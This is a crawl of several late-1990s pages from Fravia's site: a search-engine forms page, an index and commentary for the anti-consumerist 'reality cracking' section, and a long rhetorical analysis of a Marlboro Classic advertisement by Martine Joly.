add/update the relevant starting urls to a couple of quick (and reliable) search engines and let their robots do all the
work for you! Alternatively, I may add, I found the service of those little search robots like the freefind or
wired-worker's bots quite useful for searching purpose on sites that don't even need to know you have indicized
them completely :-)
Enjoy!
I have divided my work in two parts : the Fetcher and the Stalker.
The Fetcher provides an easy-to-use access to various search engines:
Altavista, Yahoo, HotBot, Lycos, Infoseek, webcrawler, Dogpile, FTP
search, ASK SINA (an ftpsearch-like with a database containing records of
germany sites, mostly), Northern Light Search (recommanded by US army,
although it's not supposed to mean anything), Goto (formerly WWW Worm).
The stalker provides gateways to finger and whois, along with the 'dejanews
search filter' without all the ugly grafix. It's not really developped, for
stalking matter is related to the country your prey lives in.
btw, Fetcher uses frames (yes, frames!), but in a clever way : you'r never
jailed in a small portion of your browser window. If used sparingly, frames
can be useful.
Of couse, each one might grow with engines or stalking services. But i'll
develop it only if you or someone else you could give it to is interested
and find it worth growing.
Well, I hope that this 'search engines' form approach will be developed too. I'm sure my readers will immediately
understand the practicality and the convenience of having some single, well tuned, search engine forms, without
having to use the awful commercial entrances, delayed by all the crap advertisement they put on (as if they would
not gather enough money and power just LOOKING at what people search :-(
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Howtosearch
Daylight at the moment
Just copy this page onto your harddisk as c:\sealight.htm (or whatever), and then use it (after having edited
anything you fancy) in order to perform EFFECTIVE searches on the web (and elsewhere). Check the
complete search engines and the various how to search pages for more explanations and to acquire all the
necessary skills.
ALTAVISTA
(Very quick! Text-only version, of course!)
any language
Ask AltaVista a question. Or enter a few words in
YAHOO
Yahoo!
EXCITE
WWWorm
WWWorm
MAGELLAN
Search Reset
LYCOS
http://www.instinct.org/fravia/sealight.htm (2 of 6) [2/7/2001 2:55:32 PM]
sealight.htm: fravia's light search engines page
Search Reset
lycos catalog a2z directory point reviews
Over 100 million files have been catalogued by Lycos, now managing the famous Trondheim
engine, and can be searched using either the lycos_ftp normal form or the lycos_ftp
advanced form that you'll find below as well.
Formatting Parameters
Count Mode Size Date Host Path
Output fields:
Per-host header: nothing just host Host and country
Sort by: nothing (unsorted) Host, path Host (distance) Size, date Date, host
20
Truncate hostnames (longer than characters.)
Save Configuration Reset Saved Configuration
WEBCRAWLER
webcrawl
INFOSEEK
HOTBOT
anytime
any language
Pages Must Include:
image MP3
video JavaScript
Return Results:
10 full descriptions
Search
NORTHERN LIGHT
Select: All Sources -- Search the World Wide Web & Special Collection
World Wide Web -- Search the entire World Wide Web
Special Collection -- 1 million articles not on other search engines
Usenet
You can of course search usenet switching the search engines above, else use the 'usenet dedicated' depositories...
http://www.dejanews.com/
This is where you can do many researches. Find a newsgroup that talks about your subjects first, then go there and refine the
search by adding to or typing over the original search entry displayed in the query box.
http://www.reference.com
Inference robots and scripts
(Scripts that allow you to query (almost) simultaneously more than one search engine: "The Intelligent Massively Fast Parallel
Web Search")
Inference find search (This little juwel will produce an *.htm file with all found links in correct order)
Enter Query:
And click this redball:
MaxTime: 7 seconds
Dogpile web search (Dogpile is the "summa" of the main search engines)
All-in-one forms
(AV, EX, LY, NS, WC, YA, FT, FZ, IP image search)
FRAVIA'S REALITY
CRACKING LAB
(Last update: October 1999)
[news] ~ [tricks]
[essays] ~ [tools]
[links] ~ [info]
[text-cracking]
Reality cracking, an
introduction
Reality cracking is a very important 'critical' activity, as Curious George wrote to me:
Yessir! That's one of the main points, and the satisfaction you'll gain every time you arrive to see 'through'
a concealed message (which is always soo obvious AFTERWARD) is a really great feeling.
You may ask why so many essays of the reality cracking section are directed against advertisement and our
'consumistic' habits. Simply stated, there's a lot of money being made and a lot of power being gathered by
the people that promote useless consumerism, and this determines a GREAT part of the reality you live in.
You pay for it in gradually limited economic mobility, pollution, threats to your health and a declining
standard of living, as measured by the things that really matter. This is what this section is about,
identifying these forces and giving you opportunities to lessen or eliminate their control over your life.
We're not suggesting that you pick up guns and start blasting away. What we advocate does far more
damage than bullets to these forces and the people behind them and makes life much more enjoyable for
you while it returns to you -at least in part- the possibility of living the way that you -not somebody else-
choose.
Dear contributors,
please don't be deceived if the essay you sent was not published, see: Reality cracking is a matter of
observation and knowledge, balance and wit, it's very important to avoid taking ourselves too seriously... a
common disease. Watch, work, send your findings... and avoid the ever lurking risks to fall into the
'weird-religious-nutty' or into the 'ideologically excessive-obsessed' patterns. Best essays are those that
examine a CONCRETE aspect of the reality around you and show it's hidden meaning: see, it is obvious (if
silly) that half-naked babes on -say- new cars help selling those same said cars to the zombies... but it is
not so obvious, for instance, that yougurts or fruit juices made with only ONE sort of fruit are all over the
world slowly being replaced by yogurts and fruit juices made with a 'cocktail' of fruit rests ("tropical mix",
"apples AND bananas", "fruits of the wald") for the purpose of maximising gains... consumer "choices" are
only a nuisance once you have lurked them already into buying your products... that's exactly what 'modes'
and 'trends' have been made for, btw... or d'you think you can buy somewhere a new fridge (say) that has
been built solid enough to last for thirty years?
The Essays
"Now, here, you see, it takes all the running you can do,
to keep in the same place."
Everything started with +ORC's "supermarket enslaving tricks", a classical very STRONG reality cracking
essay that all should read first... Supermarkets and malls are treasure chests for reality crackers...
Psycho slimming
by Cioff (12 December 1998)
Money, drugs and Obesity
CONCEALED TRUTHS ~ ANTI-ADVERTISEMENT ~ FOOD & DRUGS
Cracking industrial webpages' meanings
The Puppeteers
by Tom Pedersen
July 1999
A Brief Description of the "Puppeteers"
The Tricks
Consumer trends cracking: some tricks
An essay by Maxine+ (12 March 1998)
"Reversing our lemming behaviour, a strategical approach"
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING ~
ANTI-CONSUMERISM
El Pais good to average "european style" solid information, especially for people interested in south
American affairs
Too much irrelevant info about spanish politics, yet some very good, if infrequent, reality "cuts"
Well, I have my own (seldom updated) 'reversing Information' section, see if you like it!
Reversing Information
And don't forget the text-cracking 'rhetorical' section!
Reality Cracking
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Reversing Information
Reversing information
[The Economist] ~ [The Financial time]
(service provided by fravia+)
Start: End July 1998 ~ Updated: End July 1999
[some essays about information]
Ok, since I read anyway "The Economist" every week, I think that I can as well deliver to my readers
some short 'insights' that will, I hope, help others to reverse elsewhere the (bogus) information they
continuously receive.
Understand me well, please: The Economist is one of the BEST(*) information sources of this planet,
because even our enemies: the greedy corporations that control this world, need some places where they
can exchange real bits of information (they cannot just read the 'silly propaganda to keep slaves quiet'
that you find on all TV-channels and most newspapers and magazines). By all means, read The
Economist, a magazine that even Karl Marx did avidly read, for reasons that will be obvious if you
peruse it... This said don't really expect me to provide this service continuously, I will add here some
particularly OBVIOUS economist snippets when I have the time / remember it / find something worth.
OK, I'll begin right now...
fravia+
Snippets
The Economist's most famous trick, among other rhetorical tools, is its 'given as acquired' attitude. The
Economist's wishes are given as 'facts', and the effort to establish a 'we know better' common point of
view between information dealer and reader is almost always evident. Note also how the Economist uses
ANONYMITY in a very clever way: its articles are NEVER (well almost never) signed.
Various Snippets
When Where What
You are deep inside fravia's pages of reverse engineering, choose your way out!
homepage
+ORC anonimity academy counter measures bots' wars
tools our tools how to use our tools
javascript wars reality cracking academy database programmer's corner how to protect better
antismut CGI-scripts cocktails search_page how to search mail_fravia+
Is reverse engineering legal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
A short introduction
As most readers of our Reality cracking section know, many essays there are directed against
advertisement and our 'consumistic' habits.
Simply stated, there's a lot of money being made and a lot of power being gathered by the people that
promote useless consumerism, and this determines a GREAT part of the reality we live in. We pay for it
in gradually limited economic mobility, pollution, threats to our health and a declining standard of living,
as measured by the things that really matter.
Now, see what I found for you: you'll read below a delightfully intriguing little piece of reality... this has
been published TODAY (6 October 1998) on the financial times...
I really don't need to add much... after all you are supposed to be reversers, therefore enjoy! (and reverse!)
Hey, this is not taken from the Economist, but from the "Financial times" (on line edition). You'll find
both following articles at
http://www.ft.com.
Yesterday, the Nikkei average of 225 leading shares fell another 2 per
cent to 12,948, its lowest since January 1986. Today, the government
is set to cut its forecast for gross domestic product this financial
year to minus 1.8 per cent. A few months ago, it was predicting 1.9
per cent growth.
The economics of the gift voucher scheme are perhaps a little more
rational than those of Friedman's free dollar bills. Like more
orthodox methods of stimulating an economy, such as printing money or
cutting taxes, recipients of the dollar bills could choose to save the
benefit rather than spend it immediately. But because the vouchers
would have a limited shelf life, people would have to spend them
quickly, giving a fast, if ultimately illusory, boost to the economy...
And here another article on this same matter:
In most places handing out wads of crisp new notes is a fine way to
get things moving. But not in Japan. The government there is so
desperate to revive the economy that it is looking for a way to force
people to spend the cash as well. Its latest idea is to give Y30,000
($223) gift vouchers to all Japanese inhabitants, with an expiry date
by which they must be spent. The plan sounds bizarre, but does have a
certain logic.
Faced with these constraints, handing out money which people are
forced to spend straight away could be the only way to achieve a quick
fiscal boost.
The voucher idea is not crazy, and could help provide a much-needed
short-term stimulus to a rapidly deteriorating economy. But it needs
to be part of a much more substantial macroeconomics policy, including
large-scale monetary expansion by the Bank of Japan. And for the
economy to return to a reasonable long-term growth path, there is no
alternative but for Japan's politicians to tackle the structural
reforms that the country needs.
So, the consequence, as I see it, is that we are entering a funny (if scary) future of 'obligatory'
consumerism. Instead of trying to find an exit from an economic crisis that is evidently INHERENT to the
way the society works through a long overdue re-thinking of this same society and its basis and aims, we
are hurrying towards the absolute Paradox: "People don't want to buy crap? My Godness, we are doomed!
Let's find out methods to compel them to buy said crap".
The rationale behind all this being apparently that the overall gains by the industry (from subsidies,
political control through lobbies, overpriced products, workers firing and so on) are of such enormous
amplitude that giving people free vouchers to buy their products will nevertheless increase these overall
gains even more (unless you'r nav enough to believe they or their political puppies would really give out
money for free :-)
Therefore the really scary question is: what they will come out next? (once this pathetical schema too will
have failed):
Compulsory presence in the mall for at least two family members from 8:30 to 10:30?
Tax reductions for heavy consumerists ("Stakhanovian" buyers in parade)?
Compulsory attendance of TV-advertisement for kids and adults?
Salary paid in time-limited vouchers (so that people HAVE TO spend it)?
And, pray, why are these (allegedly) "free" vouchers not rather given to some of the undernourished
people in the third world? Wouldn't you think that the 4/5 of almost-starving poors would better know
what to do with it than the 1/5 of consumistic drilled citiziens of the 'affluent' societies?
The answer is quite simple: the 'poors' won't get it because it is not a matter of spending, it is a matter of
WASTING.
In fact the 'poors' would spend the same amount of money, yet they would (unless they have been
massively brain-washed) spend it on more essential things, and not on useless products and gadgets.
Apparently we are already so deep buried inside this "stupidity production cave" that the powers that be
can solely come out with an artificial boost of useless consumerism as only solution to their own-made
manifest crisis. Ah! Ah! Poor old Karl will get quite some itches in his Londoner grave: He who laughs
last laugh best! (Yet there's not much to laugh, come to think of it :-(
EXEGESIS
FRAVIA'S REALITY CRACKING LAB
TEXT CRACKING SECTION
(Created: October 1998 ~ Last update: May 1999)
[essays] ~ [news] ~ [tricks]
The web is text. All images and
sounds notwithstanding, the web is
text. It was created in order to
exchange and store texts. Email are
texts, and the whole Usenet is almost
exclusively text... even Perl, the
web-programming language that's
now all the rage, is an acronym of
"Practical Extraction Report
Language" and was created to extract
information from text files and
prepare reports. It is evident: because
of the web the 'written expression'
has re-acquired an importance it did
seem to have in part lost during the
now obsolete radio, telephone and
television aera (also known as "age
of the frill-morons" :-)
Yes: the web is text, an ocean of text,
of messages and information that we
must reverse. So we need means and
tools to crack all this text. But we
don't have them any more. So we go
back to the text-crackers, the great
rethorical wizards of ancient Greece,
the masters of the evangelische
text-exegesis, the incredible German
crackers of the 'Quellenkunde' of the
beginning of this now closing
century.
Since we can search, we find. The
old lore. Since we can reverse we
will learn how to crack - in spades -
the pathetical 'protection schemes'
used by magazines, newspapers,
politicians, any deceiving writer
An 'exegesis' is applied 'reverse engineering' work on any written text. An almost forgotten Art as I said.
The best reversers of this kind where a bunch of German history professors of the late XIX and of the
beginning of this century, like Georg Waitz, Harry Bresslau, Ernst Dmmler, Oswald Holder-Egger and
many more... These professors had not only exceptional brains and capacities but also, for a lucky
historical coincidence, almost unlimited resources at their disposal. Since Germany was young and
wanted to 'prove' its historical 'right' to be one of the great european nations, the exegesis of medieval
text-sources "Quellenforschung", reached highs that afterwards noone never obtained again. That's the
reason most sources originally published (and 'cracked') between 1820 and 1915 are still being
re-published and used nowadays (by the degenerated historians of to-day, who -mostly- don't know
neither greek nor latin and tend to read (and publish) sources in their translated and non-collated
versions... a truly barbarical degeneration when you think that most HIGH SCHOOL professors -not to
mention the university teachers- could around 1900 read latin, greek... and often enough Sanskrit as
well!) in fact, text-cracking and text-exegesis, and all rethorical lores, are sciences in DECADENCE! Yet
maybe the web effect will now change this.
Alas! Stupid Germans went militarist twice and all their reversing cleverness notwithstanding all the
German reversers went conquering their neighbours! The greatest text-crackers scene of this planet was
almost completely destroyed! In fact all the students of the great exegesis wizards that were not killed
during the first World War did die during the Second World War, and the whole 'text-crackers' scene
went down with them (hence the appearence and predominance of the completely useless and 'frill
oriented' french school of the "Bloch and Duby sort" in the fifties and sixties :-)
Yet not all great text-crackers disappeared... there have been some rare exceptions, the most significant
of them being represented by Adolf Hofmeister, a student of the great Alexander Cartellieri, and himself
last great wizard in text-cracking. Hofmeister survived in the small German university of Greifswald, and
did even impart his teachings to a couple of younger students, Frithjof Sielaff being the most able one...
but that is another (very interesting) story... :-)
In the reality cracking section of my site you'll already find some outstanding essays that cover, at least
in part, this same argument (for instance Martine Joly's Rhetoric of advertisement, a "Marlboro Classic"
Advertisement analyzed, yet they are, like most anti-advertisement essays, mostly 'visual' oriented.
Nuff said, for now: Knwoledge of the lost exegesis techniques and of rhetoric will be enough (at least I
hope) to reverse any text black and blue, at least compared with to-days almost absolute ignorance of
these matters (and yet I believe that our reversing techniques are something that would be really worth
The Essays
Here you go... as you can imagine this all is FAR from being correctly systemathized...
necrophi.htm
Gossip's Sexual tendencies and practices of necrophiliacs...
with an introduction and exegesis by fravia+
14 October 1998
ductusu1.htm
VK's Landlord vs Tenant: a "text-exegesis" crack
with a small exegesis addition by fravia+
21 October 1998
truber_1.htm
Trubert's Linguistic cracking
('Nationality' exegesis)
23 December 1998
Reality Cracking
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Well, this is a great essay: a SUMMA of the various techniques you can use in order to analyse an image, or a whole
advertisement visual message, applied to a specific target: in this case a publicity for clothes, by "Marlboro Classic".
Martine Joly offers here very valuable keys (and very deep inside knowledge) that anyone will be able to use in order to
reverse -and to understand- the cascade of visual messages that we receive, all of them trying to push us irrationally (or
better: very rationally from THEIR point of view) into buying some crap that we don't need at all. Be warned: this is a very
scary matter, and what you'll read here will make you a little paranoid... and yet you'll never be paranoid enough, since you
are compelled to live in a "global" society, without any alternatives, that not only allows this kind tricks to be thrown
against unsuspecting poor slaves but de facto foster them... Note how the deep truth behind all old teachings from +ORC
("By all means: learn rhetoric!") is being confirmed in every aspect of our reversing activity.
Clearly we must learn to reverse not only in order to "understand" the world around us, but -to put it simply- in order to
"survive"... at least this is the lesson I have once more learned here... our enemies, the "commercial slave masters" seem to
be clever... but their power is based on IGNORANCE. And even if we don't win (yet), at least we are going down with all
our cannons shooting! Therefore let's fight the master of ignorance through the teaching of people that can help us learn a
lot, as you will indeed learn, reading this: a great "thanks" to Martine Joly! (Hey, does MARE mean "Master of
advertisement reverse engineering"? :-)
Let's go straight to the point: This Advertisement took a double page of the Magazine "Nouvel Observateur" on 17 October
1991 (I wrote a paper on this two years later).
This French Magazine has an intello-leftist readership: middle class vaguely left oriented French managers and similar
people. The fact that it has been published in OCTOBER is important, seen the contents of the product promoted.
Description:
The advertismeent takes a DOUBLE page of the magazine.
The left page is completely filled by a dark picture: brown tones on a white-gray background, of part of the chest and
abdomen of a person without face, wearing a leather blazer, we see his right hand, leather gloved, holding the reins of an
horse that we do not see, we see only the horn cap of the saddle and a little part of the crest between neck and back of the
horse. The whole picture represents an huge dark lump that fills the whole space of the right diagonal part of the image.
The right page carries on the top third a small picture (8cm * 10 cm), centred, that represents a snow-filled landscape:
some wooden barriers that seem to delimit a corral, on a background of snow and trees without leaves. There is no sky at
all in this image.
There is a text above this smaller image: "L'hiver est proche, nos points de vente aussi" (in English: "Neither winter nor
our selling points are far away". Below the image there is a complete list of French addresses divided by categories:
"Boutiques exclusives", "Corners" and "Points de vente". The town and city names are underlined. This list of names and
addresses fills almost the whole page.
Below, always on the right page, centred and in big bold characters, there is the Product logo: "Marlboro Classic" and
below this, smaller: "Fits the man".
A very small reference sends you to a tiny translation on the right side: "Habille les hommes" which finds, on the left side
of the right page, a counterpart: "Un produit de Marlboro Leisure Wear"
The whole visual message contains THREE different messages: a plastic message, an iconic message and a linguistic
message. We will analyse all three messages, and then see how they interact.
The plastic message
The frame
Each image has physical limits, that are more or less indicated by a frame, according to the various poques and styles.
The frame is often seen has a restriction, and that's the reason that you will often see tricks in order to "abolish" or let
people "forget" it, from internal re-framing to the simple discarding of the frame.
On the left page the image does not have any frame, it looks "cut", interrupted by the page margins, therefore we cannot
see the rest of it "because the page is too small".
This trick: amalgamating the frame (or better: the frame-limits) with the marges of the support (here the left page of the
magazine) has particular consequences on the imagination of the spectator. In fact this cut, whose responsibility seems to
lay more on the dimensions of the support than on the choice of the image, pushes the spectator to RECONSTRUCT in his
imagination what he does not see in the visual field of the representation, but that must exist to complete the image snippet
he is seeing: the "outside".
The lack of a frame on the left page (where the reading begins, never forget this!) creates a "centrifugal" image with an
imaginary complementary construction. This kind of approach references implicitly the universe of cinema, that has so
often used this kind of tricks.
The white space on the LEFT page, on the contrary, is the frame for the small picture, that finds place like a small window
inside the upper third of the page. Here the 'thick' frame incorporates, on the contrary, the visual representation, and starts a
process of "centripetal" reading that invites the spectator to "get inside" the fictive depth, like a landscape painting. This
kind of approach references painting traditions, not the universe of cinema.
The framing
Understand the difference between framing and frame. The frame is the LIMIT of the visual representation, the framing is
the size of the image, the result of the distance between object in the picture and objective. The two different framing on
the two pages are in total opposition. A vertical and very NEAR framing on the left side gives you the impression of being
really next to the subject; the horizontal, large framing on the right page gives you on the contrary the impression of being
far far away. Note how the two framing propose at the same time a comparative reversing of the relative proportions: what
is SMALL (the blazer) acts VERY BIG and what is BIG (nature, landscape) acts VERY SMALL.
Choice of the Objective and picture angle
The choice of these two elements is VERY IMPORTANT, because it strengthens or eliminates the impression of reality
due to the photographic support (Photographic pictures are NOT drawings, they should depict 'reality').
In the left image the angle is from the perspective of a person standing on his feet in the proximity of another riding a
horse, who gains therefore height and Strength. In the second image, on the right page, on the contrary, you have an angle
'from above' and get the impression that you 'dominate' the landscape.
Note how on the left image they did choose a long objective (see the little 'flou' effects?). The opposition between these
'flou' zones, behind and below, and the clear unclouded blazer and horn cap brings automatically your eyes on some
elements of this pictures against others, and decides in this way the privileged zones of attention of this advertisement.
These are exactly the points that you need to individuate in order to understand and reverse the 'hidden' meanings of this
image. Even the lack of depth is a trick: it transforms a place in a "nowhere place", and therefore an "everywhere place" as
well.
Composition and paging
The composition is the intern geography of a visual message, one of the most important plastic tools of the advertisers.
Composition plays a fundamental role in the hierarchysation of your vision, orienting the reading of the image that you
will perform. In ANY image (painting, film-plan, drawing whatever) the construction is fundamental and may respect, or
rebuke a series of conventions that have been developed in different poques, periods and styles. Yet eyes always follow
THE PATH THAT HAS BEEN PREPARED INSIDE THE IMAGE. The existence of reading patterns is well known, the
most obvious ones are the left to right Euroamerican one, the Top to bottom Sino-Japanese one, and the right to left Arabic
one. In advertisement there are four possibilities:
1) the "lines of power" construction: these imaginary lines point towards a part of the advertisement that works as a
fulcrum. Your vision is "pulled" towards the strategically placed location of the product name.
2) The axial construction: the product is placed exactly on the axis of your vision, generally in the exact middle of the
advertisement.
3) The "in depth" construction: the product is integrated in a perspective placed scene and has the first plan inside this
painstakingly constructed scene.
4) The sequential construction: your vision follows the advertisement and then 'falls" at the end of the path, on the product,
that in a left-right Euroamerican orientation of the reading will be mostly on the bottom right of the advertisement. The
most typical model of sequential construction is the "Z" form: you begin on the top left side, something happens that
brings your vision to the top right, then something sends you on the bottom left and read a small text that runs towards the
bottom right, with the representation of the product or of the product logo or of the product name.
These constructions correspond to different strategies: if you throw on the market a new product you will try to use the
axial construction, where the product monopolises the image and throws its colours and lights towards you. If you are
advertising a well known and already existing product you will use targeted and in depth constructions. If you want to
attribute to the product qualities that do not exists (the most interesting reversing targets) you will use a sequential
construction that shifts during the reading the qualities of the advertisement (luxury, nature, see, naked women, whatever)
onto the product. This, being the most vicious advertisement technique, has been forbidden in Europe for cigarettes. As we
will see, Marlboro has found a way around it.
Let's go back to our image and notice its sequential construction, from left to right, falling then onto the Marlboro logo,
below, on the right page. Each page has its own logic:
On the left side the oblique slope of the mass carries your vision from the most luminous point of the whole advertisement,
the saddle horn, which has been placed in axial position, in a slope towards the top right side of the left page, where you
will be able to 'pass' to the right page and read the verbal comment, then you will fall vertically from the top to the bottom
of the right page and land on the product name. See how 'dynamic' is the sequential construction as well: in our society an
oblique line from bottom left to top right "/", is often associated with dynamic, energy, progress, hope and so on, while the
contrary, an oblique descending towards right "\" is more connected with falling, regression, destruction. See also how on
the right page the descending reading is VERTICAL and not OBLIQUE, avoiding the 'negative' associations and favouring
"equilibrium" and "straightness".
FORMS
Form interpretation is basically anthropological and cultural. Let's have a look at our target: once more we notice a system
of oppositions: left we have SOFT forms, that are organised as a mass, right we have a system of LINES, slim and vertical,
at times underlined horizontally. These lines recall the lines inside the small picture. The whole right page is composed of
small thin lines on a white background, looks like a very slow and 'cosy' snowfall. At the bottom of the right page the dark
mass of the typographical characters echoes visually the soft mass of the left page where the cylindrical vertical form
negates all 'softness'.
COLOURS AND LIGHT
The colours are the same in both pictures: brown, light grey, silver, white. The typographical characters are black on a
white background. WHITE: colour of the COLD, of SNOW, of NORTH (and in the Western world, of purity, chastity,
innocence, hygiene, simplicity, peace, wise, old, aristocracy, monarchy and godness as well). GREY, colour of heavy sky
and metal. Black and white as contrary of the colours, BROWN for earth, tree- rinds, leather, fur. These evident
associations are in our target even more underlined by the iconic signs themselves. The warmness of the browns fights
here against the coldness of the greys, silvers and white.
Light is DIFFUSE in both pictures. The winter sky does not have shadows nor depth. This kind of light is used to diminish
the reality of images, since you loose space parameters, loose depth, get more quiet colours. It's a trick to block for the
spectator any possibility of time-reference. This pushes even more the imprecise character of the place and time of the
representation. This helps once more to generalise the representation.
Note also how the TEXTURE differs between the two pictures: Left there is some "granularity" and a supposed
"thickness", while the picture on the right is smooth and "glaced", which underlines the character of coldness and distance
of this image. So we have a TACTILE texture on the left and a VISUAL texture on the right.
Analysing the relation between the two pages we find therefore not so much an antithesis but an oxymoron, a rhetorical
figure ("a combination for epigrammatic effect of contradictory or incongruous words" "Make haste slowly") that produces
-putting next to each other two opposed terms- a global signification which is somehow "tamed" and enriched by the
opposed values of its two elements. As Master +ORC wrote: A good knowledge of ancient rhetoric is a powerful weapon
indeed when you need to reverse the world around you... "better than kung-fu" to defend yourself in the virtual world of
images, messages and subliminal conditioning of to-day.
ICONIC OF THE MESSAGE
We already saw some of the iconic figurative signs reading the verbal message. Clearly, in this kind of target, every single
element has ANOTHER meaning, different from the 'obvious' one.
On the left page we have recognised a leather blazer, an arm and a gloved hand holding the reins of an unseen horse. We
also have a saddle horn and a part of the neck of the animal.
On the right page we have a snowed landscape, with the barriers of an empty corral.
Here we have a synecdochical representation (or metonymical) we see actually only PARTS of elements that are there to
suggest a WHOLE by contiguity, like as the lack of a frame pushed us to reconstruct the missing rest of the image. Here is
the significant chain:
Of course you may depict differently the various relations, yet you will always land grossomodo on the same results. As
you can see, even if you only see a limited amount of circumstances, these elements are more than enough to denote a
series of qualities that are attributed to an imaginary man, solid and sport-oriented, with his equilibrium and his
comfortable attitude, that gradually will be identified with the stereotyped cow-boy image that has been repeated and
vulgarised in the last years by Marlboro for its Cigarettes.
The attitude of the model
In advertisement, typically, models can
either 1) "look you straight in the eyes", giving you the impression of having an interpersonal relation with you, mostly
with an "I" and "You" colloquial attitude.
Or 2) look somewhere else, and invite you to look to a third party or personage or event as well.
In the first case you need to speak with somebody, you need to obey to somebody, in the second case you wish to imitate
and get some of the qualities of the model. I'll leave to my readers the sad task to understand the relevant implications of
both approaches :--)
Here we don't even have the FACE of the model, yet his arm and hand suggest quite a lot. Not only are we missing his
face, the whole head has been cut off. The 'impossible' and provocative effect of this decapitation, that could differ too
much from the 'usual' advertisement horizon of the spectator, where faces play a preponderant role, is in our target
diminished by a series of complementary aspects.
- The lack of a frame stimulates -as we have seen- the spectator to reconstruct the missing face (as well as the rest of the
body, of the horse, of the landscape...).
- The fact that you concentrate your regard on the chest, and on the protective curve of the arm gives you more the
impression of security and comfort that the impression of watching a body cut ion pieces (as you are actually doing).
- The absence of a precise physiognomy allows anyone to give to the model HIS preferred physiognomy, among others his
own one :--)
The absence of the face denotes the most important rhetorical figure of this advertisement target: the ellipsis (from the
greek word elleipsis: omission). The ellipsis is a very important rhetorical figure in all form of advertisement and
subliminal conditioning (therefore loved and used by politicians, PR-men and crooks alike): it plays on the non-said, on
the non-showed. Instead of developing an argument through its clean-cut, explicit argumentations, the ellipsis plays on the
'knowledges' that the reader/spectator already has, and creates a sort of complicity between initiated (+ORC himself uses it
throughout his tutorial :--)
Here your already present knowledge NOT ONLY reconstructs the missing face of the cow-boy, but GIVES HIM THE
ABSENT CHARACTER OF THE MARLBORO COW-BOY lui-mme. Through a series of publicity (quite dirty) tricks,
Marlboro has passed its cow-boy symbology from cigarettes to fire-lighters and then to clothes. This diversification does
not block the 'recognising' of the cigarettes product. This elliptical understanding gives you a sensation of complicity, the
pleasure of the connivance, a new transgression that cannot be punished: nothing has been REALLY said, nothing has
been REALLY shown.. there is nothing to say.
The ellipsis plays in our target another role: the advertisement gains a 'temporal' reserve: the corral on the right page is
empty. It was full of horses at a given time before, it will be full again in the future: we are therefore in a transitory
moment, between the last travel and the next one.
THE LINGUISTIC MESSAGE
Images (as we have seen here) carry a LOT of messages. The text is therefore very important to eliminate part of the
polysemantic variants offered by the images. You find here (on the right page, at the bottom) "Marlboro Classic". This is
reassuring, clearly, if the notice would have been "Paris 1912", for instance, the spectator would have been taken by
surprise (another not so fancy technique).
Here we have a triple linguistic message: a legend: "L'hiver est proche, nos points de vente aussi"; a list of addresses, the
product "Marlboro classic" and an 'explanation': "Fits the man", with French translation.
Before analysing the "contents", let's have a look at the very important typographical aspect of the words, i.e. choice of
fonts, colours and disposition on the page. As you can see you have bold and thick characters for the logo, uppercase slim
for the legend and little caps for the addresses. The legend "L'hiver est proche, nos points de vente aussi" (this target has
been published in October, as we have seen) corresponds to the time reality of the moment, and works as ANCHOR and as
CONNECTOR.
As ANCHOR since it defines winter, the cold season, snow as a privileged reading level for the whole target among all
other elements that we have seen. As CONNECTOR for the rest of the message. In fact the vicinity in time of a particular
season (or whatever else) cannot be exprimed graphically... that's the reason you still have in films and cartoons the small
"one month later" written advices... how should the spectator or reader, anchored in his subjective real time else follow the
virtual imposed film or cartoon time?
Here there is as well a play between the temporal proxility of the winter season and the spatial proximity of the shops
where you (should) buy these clothes. Note also how they use a "nos". This "we" create a relation with an implicit
"vous"/"you" that could have been represented visually, but that is impossible in this target seen that there is no "face" and
therefore the interpersonal involvment is demandated to the text. "Points de vente" is also a notion that the target prefers
NOT to represent visually (seen that it would underline the 'purpose' of the whole operation) and that has been graphically
eliminated choosing instead other images and associations that bring more positive imagination stimuli with them.
Once more some rhetoric (we will never insist enough on its importance): the text uses here a variant of the ellipsis: the
zeugma from greek zeugnumi: yoke. A phrase in which one word modifies or governs two or more not connected in
meaning: "Miss Bolo went straight home in a flood of tears and a sedan chair" (Dickens, Pickwick, XXXV). usually the
zeugma is used to give as granted, in a period, some terms used in a previous sentence. The correct French phrase would
have been: "L'hiver est proche, nos points de vente sont proches aussi". but here the quality of one part of the period are
passed onto the other part: season and time "go over" to the shops where you can buy; Winter=shop; time and space are
mixed in one ineluttable necessity: winter comes (true) therefore I must get some warm Marlboro clothes (or either at least
smoke a Marlboro cigarette).
The long list of addresses gives the impression that Marlboro classic is everywhere, universal, like the use of an english
part 'Fits the man' on a French magazine underlines as well. Not the use of "the"... fits the whole human race.
SYNTHESE
The reader that has followed my text until this point can easily perform a synthese of this target's real messages. I'll leave
this as an useful exercise to you. I will just finish, after all these words of mine, repeating the old (true) proverb: a good
image is worth a lot of text pages...
Reverse well! (and, yes, I know that my English is far from perfect... anybody wants to proof-read and correct this? Please
do).
(c) 1998 Martine Joly All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
You have landed on fravia's site. This site follows the spirit of the 'old' web, where high level information
was always provided for free, something else than the pukeocean of useless frillpages and bannerclicking
hellsites so common today.
Since I'm ferociously anti-commercial oriented, this site of mine is completely advertisement free, and you
will not be asked to click onto anything, nor will you compelled to read anything you are not interested in
yourself. And you will find quite a lot of valuable information on my site for free.
You are welcome, but notice that your help would be welcomed as well. If you think you cannot help, just
go ahead and serve yourself. All the information on this site is for you to have. If you believe you can
help, read on.
Some of the pages and sections on my site are "under construction" (de facto blocked) because I do not have
the time to follow all 'my' leads (as I would like) and because -unfortunately- I must waste a great part of my
life earning it. This site and its mirrors average now 40,000 ~ 60,000 hits per DAY and judging from your
trails, most of my readers are software professionals and quite capable wizards.
I get hundred of emails with many tips I would like to add... but I cannot manage it alone any more: I need
help!
+ORC's riddle... the Basilisk (with the mighty help of Hackmore+Readrite) has worked hard on it, as
you can see here.
My Java section is not yet open... you can nevertheless download Vermitech's good java tutorial...
just pkunzip -d (for recursive directories) it on your harddisk and then browse it off line!
The +HCU maillists that have been managed -very well- by +Zero, +Malattia, The+Chineese and
+Greythorne
The Our protection section, managed together by +RCG, +Sync and your truly+ never started out
completely, we are now trying a new How to Protect better section
The how to search section, managed by your truly+ with some help by Robin Hood and Surreal5
(both quite lazy in recent times :-)
